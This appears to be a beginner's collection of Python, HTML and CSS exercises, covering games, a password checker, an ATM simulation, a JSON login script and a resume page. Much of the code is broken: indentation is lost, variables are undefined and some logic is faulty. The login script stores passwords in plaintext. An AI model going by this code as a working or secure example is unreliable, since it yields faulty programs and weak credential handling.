# r1={"room1":["Akhilesh","Bijendar","Tarique","Prabhakar","umash","Bhupander"]}
# r6={"room6":["Chandan","Ranjan","Ramesh","Akash","<NAME>"]}
# r7={"room7":["Roshan","Baskar","Santosh","kartik","Rajeshwer"]}
# r8={"room8":["yogi","Vishal","prakash","Subdip","Hemant"]}
# r9={"room9":["tushar"]}
# r10={"room10":["ajit","Riyaz","Siddik","Deepak","Dhruv","Paritosh"]}
# r11={"room11":["baljeet","navid"]}
# r12={"room12":["vivek","Shubam","Rohit","Sonu","Sampath"]}
# x=["Akhilesh","Bijendar","Tarique","Prabhakar","umash","Bhupander","Chandan","Ranjan","Ramesh","Akash","<NAME>","Roshan","Baskar","Santosh","kartik","Rajeshwer","tushar","yogi","Vishal","prakash","Subdip","Hemant","ajit","Riyaz","Siddik","Deepak","Dhruv","Paritosh","baljeet","navid","vivek","Shubam","Rohit","Sonu","Sampath"]
# n=1
# p6=0
# p7=0
# p8=0
# p9=0
# p10=0
# p11=0
# p12=0
# p1=0
# for v in x:
# t=random.randint(0,34)
# i=x[t]
# if i not in b:
# if i not in r6["room6"] and p6<=9:
# a[n]=i
# z["room6"]=a
# b.append(i)
# n+=1
# p6+=1
# elif i not in r7["room7"] and p7<=7:
# a[n]=i
# w["room7"]=a
# n+=1
# b.append(i)
# p7+=1
# elif i not in r8["room8"] and p8<=5:
# a[n]=i
# r["room8"]=a
# n+=1
# b.append(i)
# p8+=1
# elif i not in r9["room9"] and p9<=2:
# a[n]=i
# pp["room9"]=a
# n+=1
# b.append(i)
# p9+=1
# elif i not in r10["room10"] and p10<=7:
# a[n]=i
# q["room10"]=a
# n+=1
# b.append(i)
# p10+=1
# elif i not in r11["room11"] and p11<=3:
# a[n]=i
# o["room11"]=a
# n+=1
# b.append(i)
# p11+=1
# elif i not in r1["room1"] and p1<=7:
# a[n]=i
# l["room1"]=a
# n+=1
# b.append(i)
# p1+=1
# else:
# if i not in r12["room12"] and p12<=9:
# a[n]=i
# e["room12"]=a
# n+=1
# b.append(i)
# p12+=1
# print(z)
# print(e)
# print(r)
# print(q)
# print(l)
# print(o)
# print(pp)
# print(w)
<file_sep># a=[[1,2,3,34,3],["vishal"]]
# a[1].reverse()
# list1=[1,2,3,4,5,6,7,8]
# list2=[1,2,3,4]
# for i in list2:
# for j in list1:
# if (i==j):
# list1.remove(i)
# print(list1)
# n=list(int(input("enter :")))
# a=[]
# for i in range(n):
# a.append(a[input("put in the list:")])
# print(n)
# sum = 0
# while (True):
# userInput = input("Enter the item price or press q to quit: \n")
# if (userInput!='q'):
# sum = sum + int(userInput)
# print(f"Order total so far: {sum}")
# else:
# print(f"Your Bill total is {sum}. Thanks for shopping with us")
# break
# v=list(input())
# b=
# while v>0:
# a=input()
# n=list(input("enter :"))
# # a=[]
# # for i in range(n):
# # a.append(input("put in the list:"))
# print(n)
person={
'name':'jack',
'age':20,
'gender':'male',
4:{
'organisation':'navgurukul','place':'dharamsala'
}
}
print(person['gender'])
print(person[4])
result = person[4]['place']
print(result)
states_capitals = {
'Gujarat' : 'Gandhinagar',
'Maharashtra' : 'Mumbai',
'Rajasthan' : 'Jaipur',
'Bihar' : 'Patna'
}
for state in states_capitals:
print(state)
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>CURRICULUM</title>
<link rel="stylesheet" href="css/style.css">
</head>
<body>
<div class="outer">
<br>
<br>
<h1>My Resume</h1>
<br>
<p>
<b> <NAME> </b><br>
Adders : H.no.-102,Sec-37,Noida,U.P-(201301)<br>
Email : <EMAIL><br>
Phone number : 9582300883
</p>
<hr>
<hr>
</div><!--end of the outer div-->
</body>
</html>
*{
padding: 0px;
margin: 0px;
}
.outer{
width: 700px;
height: 800px;
border: 1px solid black;
margin: 0px auto;
}
.outer h1{
text-align: center;
}
p{
font: size 20px;
}<file_sep># # from flask import Flask,render_template,request
# # app=Flask(name)
# # app.route("/")
# # def index():
# # return render_template("index.html")
# # app.route("/",meathod=[Post])
# def get_value():
# First_name=requst.form["First name"]
# Last_name=requst.form["last name"]
# return First_name
# # Emailid=requst.form["name"]
# # passward=requst.form["name"]
# # date_of_barth=requst.form["name"]
# import json
# def sign_up(First_name,Last_name,email_id,passward):
# get_data=open("r.json","w")
# lis=[]
# json_data={}
# json_data["email"]=email_id
# json_data["passward"]=passward
# json_data[First_name]=Last_name
# # json_data["date"]=date
# json_data["month"]=month
# json_data["year"]=year
# lis.append(json_data)
# print(lis)
# json.dump(lis,get_data,indent=4)
# print("suus")
# x=input("type youe ")
# if x=="login":
# email_id=input("ty e")
# passward=input("type p")
# get_data=open("r.json")
# json_data=json.load(get_data)
# y=[]
# for i in json_data[0]:
# print(i)
# print(i["email"])
# if i["email"]==email_id:
# a=0
# if i["passward"]==passward:
# p=0
# break
# else:
# break
# else:
# continue
# if a==0:
# if p==0:
# z=open("index.html","w")
# z.write("<html>\n")
# z.write("<head>\n")
# z.write("<title>\n")
# z.write("prompt")
# z.write("</title>\n")
# z.write("</head>\n")
# z.write("<body>\n")
# z.write("<div style=width:500px;margin-top:400px;color:blue><b>login sucsfull</b></div>")
# z.write("</body>")
# z.write("</html")
# else:
# z=open("index.html","w")
# z.write("<html>\n")
# z.write("<head>\n")
# z.write("<title>\n")
# z.write("prompt")
# z.write("</title>\n")
# z.write("</head>\n")
# z.write("<body>\n")
# z.write("<div style=width:500px;margin-top:400px;color:red><b>your passward is wrong</b></div>")
# z.write("</body>")
# z.write("</html")
# else:
# z=open("index.html","w")
# z.write("<html>\n")
# z.write("<head>\n")
# z.write("<title>\n")
# z.write("prompt")
# z.write("</title>\n")
# z.write("</head>\n")
# z.write("<body>\n")
# z.write("<div style=width:500px;margin-top:400px;color:red><b>your email id is wrong</b></div>")
# z.write("</body>")
# z.write("</html")
#
#
# else:
# First_name=input()
# Last_name=input()
# email_id=input()
# passward=input()
# sign_up(First_name,Last_name,email_id,passward)
import json
def signup(e,p):
x=open("n.json")
y=json.load(x)
m={}
m["email"]=e
m["passward"]=p
y.append(m)
a=open("n.json","w")
json.dump(y,a,indent=4)
z=open("index.html","r")
z=z.read()
print(z)
z.write("<html>\n")
z.write("<head>\n")
z.write("<title>\n")
z.write("prompt")
z.write("</title>\n")
z.write("</head>\n")
z.write("<body>\n")
z.write("<div style=width:500px;margin-top:400px;color:blue><b>signup sucsfull</b></div>")
z.write("</body>")
z.write("</html")
z.close()
def login(e,p,):
x=open("n.json")
y=json.load(x)
f=[]
for i in y:
for u in i:
f.append(u)
for o in f:
zz=1
if i[o]==e:
if i[o]==p:
z=open("index.html","w")
z.write("<html>\n")
z.write("<head>\n")
z.write("<title>\n")
z.write("prompt")
z.write("</title>\n")
z.write("</head>\n")
z.write("<body>\n")
z.write("<div style=width:500px;margin-top:400px;color:blue><b>login sucsfull</b></div>")
z.write("</body>")
z.write("</html")
z.close()
zz=0
break
else:
z=open("index.html","w")
z.write("<html>\n")
z.write("<head>\n")
z.write("<title>\n")
z.write("prompt")
z.write("</title>\n")
z.write("</head>\n")
z.write("<body>\n")
z.write("<div style=width:500px;margin-top:400px;color:red><b>your passward is wrong</b></div>")
z.write("</body>")
z.write("</html")
z.close()
if zz!=0:
z=open("index.html","w")
z.write("<html>\n")
z.write("<head>\n")
z.write("<title>\n")
z.write("prompt")
z.write("</title>\n")
z.write("</head>\n")
z.write("<body>\n")
z.write("<div style=width:500px;margin-top:400px;color:red><b>your email id is wrong</b></div>")
z.write("</body>")
z.write("</html")
z.close()
x=input("what you want (login,signup): ")
if "l" in x:
x=input("type your email id")
y=input("type your email id passward")
login(x,y)
else:
x=input("type your email id")
y=input("type your email id passward")
signup(x,y)
<file_sep># import random
# print("welcome to hangman")
# t=open("r.text")
# r=t.readlines()
# w=random.randint(0,1)
# w=r[w]
# l=0
# wo=""
# z=""
# while l!=10 or w != wo :
# x=input("guss your letter: ")
# if x in w:
# print("your gess is wright")
# c=0
# for i in w:
# b=" "
# if i==x:
# p=(z+i)
# wo+=p
# print(wo)
# else:
# c+=1
# z=b*c
# else:
# print("good luck for next time")
# l+=1
<!-- <html>
<head>
<title>My first html</title>
</head>
<body>
<h1><u>Heading</u></h1><br>
<p><b>A paragraph is a series of related sentences developing a central idea, called the topic. Try to think about paragraphs in terms of thematic unity: a paragraph is a sentence or a group of sentences that supports one central, unified idea. Paragraphs add one idea at a time to your broader argument.<b/></p>
<hr>
<img src="">
<table>
<tr>
<td>Name</td>
<td>Marks</td>
<td>Class</td>
</tr>
<tr>
<td>Raj</td>
<td>50</td>
<td>10th</td>
</tr>
</table>
<ol type="a">
<li>saop</li>
<li>oil</li>
</ol>
<ul type="">
<li>apple</li>
<li>orange</li>
</ul>
<form>
First Name: <input type="text" name="fname">
Last Name: <input type="text" name="lname">
<button type="Sumbit">Sumbit</button>
Write your comments<textarea></textarea>
<select>
<option>jan</option>
<option>feb</option>
</select>
</form>
<a href="http://www.google.com">Go to google</a>
</body>
</html> -->
<file_sep>
'''
x = input("type an passward of 8 digest to 16 digest: ")
y = ["!","@","#","$","%","^","^","&"]
z = ["A","S","D","F","G","H","J","K","L","M","N","B","V","C","X","Z","Q","W","E","R","T","Y","U","I","O","P"]
d = ["a","s","d","f","g","h","j","k","l","m","n","b","v","c","x","z","q","w","e","r","t","y","u","i","o","p"]
c = ["1","2","3","4","5","6","7","8","9","0"]
h = len(x)
if (x in y) and (x in z) and (x in d) and (x in c) and (h<=16) and (h>=8):
print("strong passward")
else:
print("weak passward")
time = input("Is it morning or evening? (morning/evening) ")
if time == "morning":
print ("Let's go for a run!")
elif time == "evening":
print ("Let's go out for a coffee.")
elif time == "night":
print("lets go for sleep")
else:
print ("Mujhe samajh nahi paata")
food = input("aaj kaana ma kyaa bnaana ha (bhandi/gobhi)")
if food == "bhandi":
print("bhandi kaaraab ho gahi ha ees leya aaj bhandi nahi baana gee")
elif food == "gobhi":
print ("theek ha bhandi baanaa daatha ha ")
else:
print("gobhi kaalo cuup chaap ")
if feal == "fine":
print("oor baataaoo nooe taage")
elif feal == "not good":
print("kyaa hoo gaayaa")
else:
print("kyaa baataa raahaa ho muuja saamj ne aayaa")
a=int(input("put your number"))
b=int(input("put your number"))
rr = a//b
print(rr)
if a>b:
print(True)
elif a==b:
print("equal")
else:
print(False)
a = int(input("enter your value"))
b = int(input("enter your value"))
x = int(input("enter paasword: "))
if x==4510:
print("\t\twelcome")
p1 = input("player1 chose (stone/paper/seaser): ")
p2 = input("player2 chose (stone/paper/seaser): ")
if p1=="paper" and p2=="paper":
print("draw")
elif p1=="stone" and p2=="paper":
print("Player 2 wins ")
elif p1=="stone" and p2=="seaser":
print("player 1 wins ")
elif p1=="paper" and p2=="stone":
print("Player 1 wins ")
elif p1=="paper" and p2=="seaser":
print("Player 2 wins ")
elif p1=="seaser" and p2=="paper":
print("Player 2 wins ")
elif p1=="seaser" and p2=="stone":
print("Player 2 wins ")
elif p1=="stone" and p2=="stone":
print("draw")
elif p1=="seaser" and p2=="seaser":
print("draw")
else:
print("baavkuuf kaalnaa nee aata")
else:
print("wrong paasword (try agan)")
import random
ran = random.randint(0,2)
lis = ["stone","paper","seaser"]
p2 = lis[ran]
x = int(input("enter paasword: "))
if x==4510:
print("\t\twelcome")
p1 = input("player1 chose (stone/paper/seaser): ")
p2 = input("player2 chose (stone/paper/seaser): ")
if p1=="paper" and p2=="paper":
print("draw")
elif p1=="stone" and p2=="paper":
print("Player 2 wins ")
elif p1=="stone" and p2=="seaser":
print("player 1 wins ")
elif p1=="paper" and p2=="stone":
print("Player 1 wins ")
elif p1=="paper" and p2=="seaser":
print("Player 2 wins ")
elif p1=="seaser" and p2=="paper":
print("Player 2 wins ")
elif p1=="seaser" and p2=="stone":
print("Player 2 wins ")
elif p1=="stone" and p2=="stone":
print("draw")
elif p1=="seaser" and p2=="seaser":
print("draw")
else:
print("baavkuuf kaalnaa nee aata")
else:
print("wrong paasword (try agan)")
import random
lock = int(input("enter paas word: "))
if lock==4510:
print("\t\twelcome to the game\n\t\twhen you leave the game\tpress (0)")
c2 = 5
while c2==5:
p3 = random.randint(0,2)
lis = ["stone","paper","seaser"]
computer = lis[p3]
player = input("chose (stone/paper/seaser): ")
if (computer=="stone" and player=="stone" or computer=="paper" and player=="paper" or computer=="seaser" and player=="seaser"):
print("computer choose ",computer)
print("****draw****")
elif computer=="stone" and player=="paper":
print("**computer choose**",computer)
print("****you win****")
elif computer=="stone" and player=="seaser":
print("**computer choose** ",computer)
print("****you lose****")
elif computer=="paper" and player=="stone":
print("**computer choose**",computer)
print("****you lose****")
elif computer=="paper" and player=="seaser":
print("**computer choose**",computer)
print("****you win****")
elif computer=="seaser" and player=="stone":
print("**computer choose**",computer)
print("****you win****")
elif computer=="seaser" and player=="paper":
print("**computer choose**",computer)
print("****you lose****")
elif player=="0":
break
else:
print("baavakuuf kaalaana nee aata")
else:
print("kon haa baa tu ")
print("when you back to the informer******type v")
z = 3
while z==3:
x = int(input("******type any number: "))
x%2
if x%2==0:
print("even")
elif x%2!=0:
print("odd")
else:
print("type any inteser")
x = int(input("type an any inteser: "))
if x%2==0 and x>200:
print("Bingo")
elif x%2!=0 and x<200:
print("Ringo")
else:
print("python")
x = int(input("type an inteser: "))
y = int(input("type an another inteser:"))
if x>y:
print(x)
elif x<y:
print(y)
x = int(input("type the length of 1side : "))
y = int(input("type the length of another side: "))
if x==y:
print("these are of squre sides ")
else:
print("these are of rectangle sides")
time = input("Is it morning or evening? (morning/evening) ")
if time == "morning":
print ("Let's go for a run!")
elif time == "evening":
print ("Let's go out for a coffee.")
elif time == "night":
print("lets go for sleep")
else:
print ("Mujhe samajh nahi paata")
food = input("aaj kaana ma kyaa bnaana ha (bhandi/gobhi)")
if food == "bhandi":
print("bhandi kaaraab ho gahi ha ees leya aaj bhandi nahi baana gee")
elif food == "gobhi":
print ("theek ha bhandi baanaa daatha ha ")
else:
print("gobhi kaalo cuup chaap ")
a = 10
if a * 2 == 20:
print ("a variable ko 2 se multiply kar ke 20 aata hai")
else:
print ("Nah! a variable ko 2 se multiply kar ke 20 nahi aata.")
if feal == "fine":
print("oor baataaoo nooe taage")
elif feal == "not good":
print("kyaa hoo gaayaa")
else:
print("kyaa baataa raahaa ho muuja saamj ne aayaa")
a=int(input("put your number"))
b=int(input("put your number"))
rr = a//b
print(rr)
if a>b:
print(True)
elif a==b:
print("equal")
else:
print(False)
x = int(input("enter paasword: "))
if x==4510:
print("\t\twelcome")
p1 = input("player1 chose (stone/paper/seaser): ")
p2 = input("player2 chose (stone/paper/seaser): ")
if p1=="paper" and p2=="paper":
print("draw")
elif p1=="stone" and p2=="paper":
print("Player 2 wins ")
elif p1=="stone" and p2=="seaser":
print("player 1 wins ")
elif p1=="paper" and p2=="stone":
print("Player 1 wins ")
elif p1=="paper" and p2=="seaser":
print("Player 2 wins ")
elif p1=="seaser" and p2=="paper":
print("Player 2 wins ")
elif p1=="seaser" and p2=="stone":
print("Player 2 wins ")
elif p1=="stone" and p2=="stone":
print("draw")
elif p1=="seaser" and p2=="seaser":
print("draw")
else:
print("baavkuuf kaalnaa nee aata")
else:
print("wrong paasword (try agan)")
import random
ran = random.randint(0,2)
lis = ["stone","paper","seaser"]
p2 = lis[ran]
x = int(input("enter paasword: "))
if x==4510:
print("\t\twelcome")
p1 = input("player1 chose (stone/paper/seaser): ")
p2 = input("player2 chose (stone/paper/seaser): ")
if p1=="paper" and p2=="paper":
print("draw")
elif p1=="stone" and p2=="paper":
print("Player 2 wins ")
elif p1=="stone" and p2=="seaser":
print("player 1 wins ")
elif p1=="paper" and p2=="stone":
print("Player 1 wins ")
elif p1=="paper" and p2=="seaser":
print("Player 2 wins ")
elif p1=="seaser" and p2=="paper":
print("Player 2 wins ")
elif p1=="seaser" and p2=="stone":
print("Player 2 wins ")
elif p1=="stone" and p2=="stone":
print("draw")
elif p1=="seaser" and p2=="seaser":
print("draw")
else:
print("baavkuuf kaalnaa nee aata")
else:
print("wrong paasword (try agan)")
import random
lock = int(input("enter paas word: "))
if lock==4510:
print("\t\twelcome to the game\n\t\twhen you leave the game\tpress (0)")
c2 = 5
while c2==5:
p3 = random.rand(0,2)
lis = ["stone","paper","seaser"]
computer = lis[p3]
player = input("chose (stone/paper/seaser): ")
if (computer=="stone" and player=="stone" or computer=="paper" and player=="paper" or computer=="seaser" and player=="seaser"):
print("computer choose ",computer)
print("****draw****")
elif computer=="stone" and player=="paper":
print("**computer choose**",computer)
print("****you win****")
elif computer=="stone" and player=="seaser":
print("**computer choose** ",computer)
print("****you lose****")
elif computer=="paper" and player=="stone":
print("**computer choose**",computer)
print("****you lose****")
elif computer=="paper" and player=="seaser":
print("**computer choose**",computer)
print("****you win****")
elif computer=="seaser" and player=="stone":
print("**computer choose**",computer)
print("****you win****")
elif computer=="seaser" and player=="paper":
print("**computer choose**",computer)
print("****you lose****")
elif player=="0":
break
else:
print("baavakuuf kaalaana nee aata")
else:
print("kon haa baa tu ")
while z==3:
x = int(input("******type any number: "))
x%2
if x%2==0:
print("even")
elif x%2!=0:
print("odd")
else:
print("type any inteser")
x = int(input("type an any inteser: "))
if x%2==0 and x>200:
print("Bingo")
elif x%2!=0 and x<200:
print("Ringo")
else:
print("python")
x = int(input("type an inteser: "))
y = int(input("type an another inteser:"))
if x>y:
print(x)
elif x<y:
print(y)
x = int(input("type the length of 1side : "))
y = int(input("type the length of another side: "))
if x==y:
print("these are of squre sides ")
else:
print("these are of rectangle sides")
x = int(input("put any inteaser number: "))
y = int(input("put an another inteaser number: "))
z = input("what you want (addasion(+)/substraction(-)/multiplay(*)/divide(/))\n****(+)****(-)*****(*)*****(/)")
if z=="+":
print(x+y)
elif z=="-":
print(x-y)
elif z=="*":
print(x*y)
else:
print(x/y)
num = float(input("Enter a number: "))
if num >= 0:
if num == 0:
print("Zero")
else:
print("Positive number")
else:
print("Negative number")
x = input("type an passward of 8 digest to 16 digest: ")
h = len(x)
if h<=16 and h>=8:
if "0" in x or "1" in x or "2" in x or "3" in x or "4" in "5" or "6" in x or "7" in x or "8" in x or "9" in x:
if "a" in x or "s" in x or "d" in x or "f" in x or "g" in x or "h" in x or "j" in x or "k" in x or "l" in x or "m" in x or "n" in x or "b" in x or "v" in x or "c" in x or "x" in x or "z" in x or "q" in x or "w" in x or "e" in x or "r" in x or "t" in x or "y" in x or "u" in x or "i" in x or "o" in x or "p" in x:
if "!" in x or "@" in x or "#" in x or "$" in x or "%" in x or "^" in x or "&" in x:
if "A" in x or "S" in x or "D" in x or "F" in x or "G" in x or "H" in x or "J" in x or "K" in x or "L" in x or "M" in x or "N" in x or "B" in x or "V" in x or "C" in x or "X" in x or "Z" in x or "Q" in x or "W" in x or "E" in x or "R" in x or "T" in x or "Y" in x or "U" in x or "I" in x or "O" in x or "P" in x:
print("strong passward")
else:
print("your passward does not have any captial alfaabat")
else:
print("your passward does not have any spacel creacter")
else:
print("your passward does not have any small alfaabat")
else:
print("your passward does not have any digit")
else:
print("the length of you passward is leas then or greater then 8 or 16:\n pleace try an another passward ")
x = int(input("taype any number: "))
if x>200:
if x%2==0:
print("bingo")
else:
print("python")
else:
if x<200:
if x%2==1:
print("ringo")
else:
print("pthon")
x = input("chose language (English_=1 or Hindi=2): ")
if x=="1" or x!="1":
y = int(input("pleace enter pin code: "))
if y==1234:
f = input("type 6 for withdraw or type 7 for taking information): ")
a = "6"
s = "7"
if f==a:
c = input("type 2 for saving account or type 3 for crant account): ")
e = "2"
h = "3"
if c==e:
print("you can withdraw maximum (30,000rupees):\n\tof 500 nots: ")
z = int(input("Enter your amount----: "))
if z%500==0:
print("thankyou")
else:
print("you can withdraw maximum (50,000rupees):\n\tof 500 nots: ")
c = int(input("Enter your amount-----: "))
if c%500==0:
print("thankyou")
else:
print("the ATM has only of 500 nots ")
else:
if f==s:
n = input("type 6 for taking information of saving account \ntype 7 for taking information of crant account: )")
f = "6"
if n==f:
print("you account have range of (30,000)rupees")
u = input("for mor information type @: ")
q = "@"
if u==q:
print("your account have range of (30,000)rupees.\nAnd your account have 15,000.")
else:
cc = "@"
while cc=="@":
print("for more information type @: ")
d = input("-----")
if d=="@":
print("your account have range of (30,000)rupees.\nAnd your account have 15,000.")
break
else:
print("your account have range of (50,000) rupees")
d = input("for more information type @: ")
o = "@"
if d==o:
print("your account have range of (50,000).\nAnd your account have 30,000 rupees.")
else:
aa = "@"
while aa=="@":
print("for more information type @: ")
d = input("------")
if d=="@":
print("your account have range of (50,000).\nAnd your account have 30,000 rupees.")
break
else:
print("type 6 for taking information of saving account \ntype 7 for taking information of crant account: ")
else:
print("your pin code is wrong\n pleace try agan: ")
x = int(input("1 type any number------: "))
y = int(input("2 type an another number-----: "))
z = int(input("3 type an another number-----: "))
if x>y>z:
print("number 1 is the greater one1")
else:
if y>x>z:
print("number 2 is the greater one2 ")
else:
if z>y>x:
print("number 3 is the greater one3 ")
else:
if x>z>y:
print("number 1 is the greater one4")
else:
if y>z>x:
print("nuumber 2 is the greater one5 ")
else:
if z>x>y:
print("number 3 is the greater one6 ")
else:
if x>y==z:
print("number 1 is greater one ")
else:
if y>x==z:
print("number 2 is greater one ")
else:
if z>y==x:
print("number 3 is greater one ")
else:
if x<y==z:
print("number 1 is luus and number 2 and 3 are equal")
else:
if y<x==z:
print("number 2 is luus and 1 and 3 are equal")
else:
if z<x==h:
print("number 3 is luus and 1 and 2 are equal")
else:
if x==y==z:
print("all the numbers are equal")
x = int(input("type a number which you want table: "))
y = x*1
a = x*2
s = x*3
d = x*4
f = x*5
g = x*6
h = x*7
j = x*8
k = x*9
l = x*10
if x:
print(x,"* 1 =",y)
print(x,"* 2 =",a)
print(x,"* 3 =",s)
print(x,"* 4 =",d)
print(x,"* 5 =",f)
print(x,"* 6 =",g)
print(x,"* 7 =",h)
print(x,"* 8 =",j)
print(x,"* 9 =",k)
print(x,"* 10 =",l)
x = int(input("type an input where you want the sum of numbers: "))
y = (1+x)/2
if x:
print(y*x)
x = int(input("type the number which you want the table "))
a=1
while a<=10:
print(x,"*",a,"=",a*x)
a=a+1
c = 1
while c<=10:
print(2,"*",c,"=",c*2)
c+=1
x = 0
y = 10
while y>=0:
x+=y
y-=1
print(x)
x = int (input("type an number: "))
for y in range(x):
for z in range(1,y+1):
print(y,end="")
print()
s = 0
for y in range(1,21):
if y>=0:
s+=y
y-=2
print(s)
a = 2
while a<=10:
y = (a%2==0)
print(a)
a+=2
x = int("1")
for z in range(x):
print(x,end=" ")
print()
n = 10
y = n
for b in range(n+1,0):
print(" ",end="")
print(" ")
for x in range(0,n+1):
print("* ",end="")
b=0
n = int(input("type an number: "))
while n >=0:
print(n*" " ,end="")
print(b*"*")
b+=1
n-=1
print(" ")
a = 22
y=a/2
while y<=20:
print(int(y-10))
y+=1
a = 22
while a>=12:
print(int(a-a+1))
y-=1
# x=1
# y=1
# z=0
# while y<=2:
# print(x+z)
# print()
# print(x,z+2)
# print()
# x=11**2
# y+=1
x = int( input("type an number: "))
for row in range(x,0,-1):
for col in range(1,row+1):
print(col,end="")
print()
x = 1
y=int(input("typr an number: "))
c = y-1
for z in range(0,2*c+1):
if z<c:
print("*"*x)
x+=1
else:
print(("*"*x))
x-=1
x=0
def ask_question():
print("<NAME>")
print("<NAME>")
print("<NAME>")
print("<NAME>")
while x<=100:
print("Who is the founder of Facebook?")
ask_question()
x+=1
'''
<file_sep>*{
padding: 0px;
margin: 0px;
}
.outer{
width: 800px;
height: 1100px;
margin: 0px auto;
}
.outer h1{
text-align: center;
}
p{
font: size 30px;
}
.border{
width:100%;
padding: 5px;
background-color: cadetblue;
border: black;
font-weight: bold;
}
ul{
font-size: 16px;
margin-left: 16px;
}
h2{
float:right;
font-size: 14px;
}
.img{
margin-top: 0px auto;
margin-left: 650px;
}
body{
margin: 0px;
padding: 0px;
background: #f1f1f1;
}
.card{
width: 400px;
height: 500px;
background: #FFF;
border-radius: 6px;
position: absolute;
top: 50%;
left: 50%;
transform: (-50,-50%);
box-shadow: 0px 1px 10px 1px #000;
}
<file_sep># first Question
# def my_max(a,b,c):
# if a>b and a>c:
# print(a,"max")
# elif b>a and b>c:
# print(b,"max")
# elif a==b:
# print(a,"max")
# else:
# print(c,"max")
# n1=int(input("check your number:>"))
# n2=int(input("check your number:>"))
# n3=int(input("check your number:>"))
# my_max(n1,n2,n3)
# second Question
# def sum_list(n):
# s=0
# for i in n:
# s=s+i
# print(s)
# v=[1,2,3,4,5,6,7,8,9]
# sum_list(v)
# Third Question
# def sum_list(n):
# s=1
# for i in n:
# s=i*s
# print(s)
# v=[1,2,3,4,5,6,7,8,9]
# sum_list(v)
# four Question
# def reverse_string(a):
# v=""
# for j in a:
# v=j+v
# print(v)
# v="vishal"
# reverse_string(v)
#
# Fifth Question
# def factorial(n):
# if n == 0:
# return 1
# else:
# return n*factorial(n-1)
# n=int(input())
# print(factorial(n))
# def factorial(n):
# f=1
# for i in range(1,n+1):
# f=f*i
# return f
# v=int(input())
# print(factorial(v))
# sixth Question
# def check(x):
# if x in range(50):
# return True
# else:
# return False
# x = int(input("Enter a number: "))
# print(check(x))
# Seventh Question
# def upper_lower_c(n):
# u=0
# l=0
# c=0
# s=0
# for i in n:
# if i in ("ABCDEFGHIJKLMNOPQRSTUVWXYZ"):
# u+=1
# elif i in ("1234567890"):
# c+=1
# elif i in ("!@#$%^&*()_+"):
# s+=1
# else:
# l+=1
# print("no. of upper:>",u,"no. of lower:>",l,"no. of digits:>",c,"no. of s:>",s)
# v=input()
# upper_lower_c(v)
# Eigth Question
# def unique(l):
# n=[]
# for i in l:
# if i not in n:
# n.append(i)
# print(n)
# print(unique([1,2,3,3,3,3,4,5]))
#################################################################################################################
# 15th Question
# n=int(input("enter your:>"))
# i=47
# if i in range(n):
# print("yes")
# else:
# print("yes")
# 16th Question
# def printValues(n):
# l = []
# for i in range(1,n+1):
# l.append(i**2)
# print(l)
# a=10
# printValues(a)
# 17th Question
# 19th Question
# def greater(a,b):
# if a>b:
# return a
# else:
# return b
# def greater_2(a,b,c):
# if greater(a,b)>c:
# return greater(a,b)
# else:
# return c
# v=int(input())
# v=int(input())
# =int(input())
# print(greater(12,9))
# print(greater_2(12,4,9))
# a=int(input())
# b=0
# c=1
# i=0
# while i<=a:
# print(b)
# d=b+c
# b=c
# c=d
# i+=1
<file_sep># for i in range (0,1,0.01):
# print(i)
print(-5%2)<file_sep>############################################################
#prime number
# n=int(input("check your prime number\n"))
# for i in range(2,n):
# if n%i==0:
# print("No its not a prime")
# break
# else:
# print("Yes its Prime")
###############################
# nums=int(input())
# i=0
# sums=0
# count=0
# while (count<=nums):
# if (i%2==0):
# sums=sums+i
# count=count+1
# i=i+1
# print("v",sums,count,i,nums)
# i=int(input())
# sums=0
# while(i>0):
# sums=sums+i%10
# i=i//10
# print(sums)
# n=int(input())
# t=n
# r=0
# while (n>0):
# d=n%10
# r=r*10+d
# n=n//10
# if(t==r):
# print("P hai")
# else:
# print("P nhi hai")
#`frist_one`
# i=int(input())
# r=0
# while (i>0):
# r=r+(i%10)*(i%10)
# i=i//10
# print(r)
#second_one
# i=int(input())
# r=0
# while (i>0):
# r=r+(i%10)*(i%10)*(i%10)
# i=i//10
# print(r)
#third_one
# i=int(input())
# s=0
# while (i>0):
# i=i//10
# s+=1
# print("no. of digits",s)
# i=(input())
# v=""
# c=0
# while i in v:
# i=i//str(10)
# c=i+c
# print("no. of digits",i)
#forth_one
# i=int(input())
# r=i
# s=0
# while (i>0):
# r=r+(i%10)*(i%10)*(i%10)
# i=i//10
# if (r==s):
# print("Armstrong hai")
# else:
# print("Armstrong nhi hai")
# i=int(input())
# n=i
# s=0
# while (i>0):
# i=i//10
# s+=1
# print("no. of digits",s)
# s=0
# n=i
# while(i>0):
# d=i%10
# x=1
# p=1
# while (x<=s):
# p=p*d
# x+=1
# s=s+p
# i=i//10
# if (s==i):
# print("Armstrong hai")
# else:
# print("Armstrong nhi hai")
# i=int(input())
# s=0
# while (i>0):
# i=i//10
# s+=1
# print("no. of digits",s)
# # i=int(input())
# n=i
# s=0
# while (i>0):
# n=n+(i%10)*(i%10)*(i%10)
# i=i//10
# if (n==s):
# print("Armstrong hai")
# else:
# print("Armstrong nhi hai")
# i=int(input())
# pro=1
# while (i>0):
# pro=pro*(i%10)
# i=i//10
# print("no. of digits",pro)
# n=int(input())
# rec=0
# while (n>0):
# rec=(rec*0)+i%10
# n=n//10
# print(rec)
# a=["Vishal","suraj","23456"]
# b=[]
# for i in a:
# v=""
# for j in i:
# v=j+v
# b.append(v)
# print(b)
# a=list(input("enter your iteams:> "))
# b=[]
# for n in a:
# v=""
# for j in n:
# v=j+v
# b.append(v)
# print("this is your recverse list iteams:",b)
# list1=list(input())
# lit2=list(input())
# for i in lit2:
# for j in list1:
# if (i==j):
# list1.remove(i)
# print(list1)
# i=0
# while(i<=100):
# if i%7==0:
# print(i)
# i+=1
# i=0
# s=0
# while(i<=100):
# s=s+i
# i+=1
# print(s)
# i=int(input("how many times"))
# s=0
# v=1
# while(v<=i):
# n=int(input("enter yo no."))
# s=n+s
# v+=1
# print(s)
# i=1
# while(i<=100):
# if(i%2==0):
# print(-i)
# else:
# print(i)
# i+=1
# i = 556
# while i < 644:
# z = i - 556
# if z % 7 == 0:
# print(z)
# i = i + 1
# x=int(input())
# c=0
# u=0
# # while x!=0:
# y=input()
# if y%2==0:
# c+=1
# else:
# u+=1
# x-=1
# if c>u:
# print("ready for watel")
# else:
# print("not")
# x=int(input())
# y=int(input())
# m=[]
# c=0
# n=0
# b=0
# while c!=x:
# m.append([])
# while n!=y:
# v=input()
# if v >="a" and v<="z" or v>="A" and v<="Z":
# m[b].append(v)
# elif v in "1234567890":
# v=int(v)
